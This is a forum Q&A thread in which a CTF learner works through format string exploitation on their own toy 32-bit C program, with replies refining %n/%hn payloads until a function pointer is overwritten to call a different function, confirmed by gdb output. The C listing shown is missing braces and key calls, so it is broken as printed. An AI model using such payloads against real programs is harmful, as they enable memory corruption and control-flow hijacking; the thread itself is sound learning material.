I encountered a print format vulnerability challenge in a CTF. I don't know anything about these vulnerabilities, so I'm working my way through Saif El-Sherei's format string exploitation tutorial from exploit-db.com (https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf). But, I'm getting stuck really early on. I'm hoping someone can point out where I'm going wrong.

Here's some code I wrote:

#include <stdio.h>
#include <stdlib.h>

void nicefunction()
        printf("you are in the nice function!\n");
void notnicefunction()
        printf("you are in the NOT nice function!\n");
int foo()
  void (*fptr)() = &nicefunction;
  char buf[100];

  puts("Please enter a string. ");
  puts("Here's your string");
  puts("\nNow we call the nice function");
  return 0;

int main(int argc, char **argv)

My goal is to craft an input string that I can use to change fptr to point to notnicefunction. I compiled it with: gcc -m32 -g test.c -fno-stack-protector -z execstack -o test

I ran the binary under gdb and added before and after breakpoints. When I enter the string "AAAA" and then do x/20xw $esp afterwards, I see my 0x41414141 in the stack, at 0xffffd018. If I rerun and enter the string "AAAA %6$x" I get AAAA 41414141. So far so good.

Now I want to find the address of fptr. Using nm, I see that it should contain the value of 0x0804849b (the address of nicefunction). My goal is to change it to 0x080484b4, the address of notnicefunction. I rerun with AAAA, and then examine the stack until I find the address that contains 0x0804849b. That's 0xffffd07c, 0x64 (100d) words deeper in the stack from the start of buf. Which makes sense.

I'd like to control the contents of fptr by using %n. So I crafted this input string: \x7c\xd0\xff\xff\xff\xffAAAA%5$x%n. I think this should change the contents of 0xffffd07c to 13d. But instead I segfault in the printf.

Where am I going wrong?

UPDATE: I tried writing my fptr address into the start of the buffer, just to see if I was writing the address correctly. But when I checked it in gdb, it had the ASCII representation in it:

(gdb) x/20xw $esp+8
0xffffd018: 0x6337785c  0x3064785c  0x6666785c  0x6666785c

So the problem is that bash doesn't like my hex literals. I guess I could fix this with redirection from a file. But if anyone knows of a cleaner way to handle this, I'd love to know about it.

MOAR UPDATE: Pawel's comment below got me past the how-do-I-get-hex-bytes-into-this-binary hurdle. But I was still segfaulting on my %n. But the segfaults went away when I changed %5$x %n to %x %x %x %x %x %n. Now I am able to (sort of) control the contents of arbitrary stack memory. Whoohoo!

  • 1
    how are you passing your data to this binary? Try something like echo -e \x7c\xd0\xff\xff\xff\xffAAAA%5$x%n | ./test – Paweł Łukasik Jun 10 at 16:23
  • Pawel's comment pointed me on the way, with one tweak because I'm running under gdb: echo -n -e '\x7c\xd0\xff\xff. %x %x %x %x %x %n' > /tmp/xxx and then r < /tmp/xxx at the gdb prompt. – Polly Jun 10 at 19:51
  • If you want a realistic challenge, compile with the default flags. – multithr3at3d Jun 11 at 1:59

I am not sure the %n takes the next argument after the %5$x.

Try \x7c\xd0\xff\xffAAAA%6$n. Seemed to work for me.

| improve this answer | |
  • Thanks for the suggestion ... but I tried it and no joy. – Polly Jun 10 at 2:14

The input string that finally let me execute the not nice function was echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff. %x %x %x %x %33929x %hn' > /tmp/xxx

This gave me:

22    (*fptr)();
(gdb) x/4xw 0xffffd070
0xffffd070: 0x00000001  0x00000003  0xf7e25a50  0x080484b4
(gdb) c
you are in the NOT nice function!
| improve this answer | |
  • I don't think you need the address twice since you are only using one %n – multithr3at3d Jun 11 at 2:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.